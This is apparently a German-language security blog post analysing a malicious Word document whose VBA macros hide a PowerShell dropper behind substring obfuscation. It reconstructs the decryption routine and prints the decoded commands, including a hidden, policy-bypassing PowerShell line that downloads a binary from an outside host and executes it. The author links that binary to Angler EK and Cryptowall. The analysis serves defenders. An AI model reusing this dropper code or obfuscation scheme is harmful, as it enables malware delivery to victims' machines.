Neues Maldoc mit Substring-Obfuscation

Die Anzahl an Maldoc hat in letzter Zeit doch merklich zugenommen. Während sich die Emails der Versender, sowie der Inhalt der Dokumente immer weiterentwickeln, so bleiben die Schadcodes und Dropper mehr oder weniger stehen.

Fast immer gibt es ein Maldoc mit 2 Makros, einmal eine Entschleierungsfunktion und einmal der verschleierte Payload. So ist das auch bei folgendem Beispiel, welches mir zugesandt wurde:

MD5 8252487d2868460e543b06b08ab3fa35
SHA1 d510b7384b7e8ce3fa887f18d10f3dbd14cbf0ed
SHA256 440f976f1dc767acfc763f2c4df4d5a97819093e15e5f1cea25e4f92907abaa8

Im Dokument eingebettet die bekannten beiden Makros:

A: word/vbaProject.bin
 A1:       481 'PROJECT' aea827326f40d9b37ee04b2657304f8c
 A2:        65 'PROJECTwm' 22638e81fa887fedca797e15983097dd
 A3: M    1537 'VBA/Module1' 97554cc9b8aceb0c8f2fc7f41337db8f
 A4: M    6920 'VBA/ThisDocument' b9f2d3ed04e381a2127b79665d9d11b8
 A5:      3799 'VBA/_VBA_PROJECT' 28bd9d3afac2ad580dfd357e0373f231
 A6:       826 'VBA/dir' c41d9be1ff47107f96813bb0716bf127
B: word/activeX/activeX1.bin
 B1:        26 '\x03OCXNAME' 52091629f4ec3595fe17f5d3a4233d61
 B2:         6 '\x03ObjInfo' e28252a4dfe8cb4ca7c63a6e6a67d61e
 B3:        94 'Contents' 9a03dc7f52538eaf7489a2c9b4ea3973

Beim Durchschauen des Codes fällt dann auch sofort die Verschleierung auf:

oLxb = s("woebFeceF-hempmS/)ieN.p-eaj)otxoy(oe)oN=i.y.beniI tP)DhNn:-atjimt(ictN :ect;preSuOlte.n e.s$mm$fe[cWsbCm'eO$)a;
o]elGOdTelp 'lotaW/(rh(tewhtblicEcScctf/.fftSeetil.,n.f.t(w:", 949, 1597)

Vom Look and Feel sieht die Funktion aus wie ein Substring oder so. Also nimmt man sich mal die Funktion s(), und schaut mal was die genau macht, bis man irgendwann auf folgenden Algorithmus kommt:

Function decrypt(ByVal strCrypt As String, ByVal intStart As Integer, ByVal intEnd As Integer) As String
    intMod = intStart Mod Len(strCrypt)
    Do While Len(decrypt) < Len(strCrypt)
        decrypt = decrypt & Mid(strCrypt, intMod + 1, 1)
        intMod = (intMod + intEnd) Mod Len(strCrypt)
    Loop
End Function

Nun filtert man noch alle Aufrufe der entsprechenden Funktion und kann sich so die verschleierten Strings anzeigen lassen und nach interessantem filtern. Es muss sich sicherlich mal um ein Powershell-Script handeln, denn aus:

rd inmpso-dPaahwEdonseSxeldslteni  lyc cp-.lu-yoWeetc wix ioBeneHomy

wird ganz plötzlich:

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -command

Und auch weitere Files sollen nachgeladen werden, denn aus:

woebFeceF-hempmS/)ieN.p-eaj)otxoy(oe)oN=i.y.beniI tP)DhNn:-atjimt(ictN :ect;preSuOlte.n e.s$mm$fe[cWsbCm'eO$)a;o]elGOdTelp 'lotaW/(rh(tewhtblicEcScctf/.fftSeetil.,n.f.t(w:

wird nun:

$f=[System.IO.Path]::GetTempFileName();
(New-Object System.Net.WebClient).DownloadFile('hXXp://thereputationco.com/office.bin', $f);
(New-Object -com WScript.Shell).Exec($f)

Und so weiter:

WinHttp.WinHttpRequest.5.1
https://wtfismyip.com/json
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Das Bin-File, welches heruntergeladen wird, wird zwar selbst nicht erkannt, ist aber bekannt im Zusammenhang mit Angler EK und Cryptowall

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.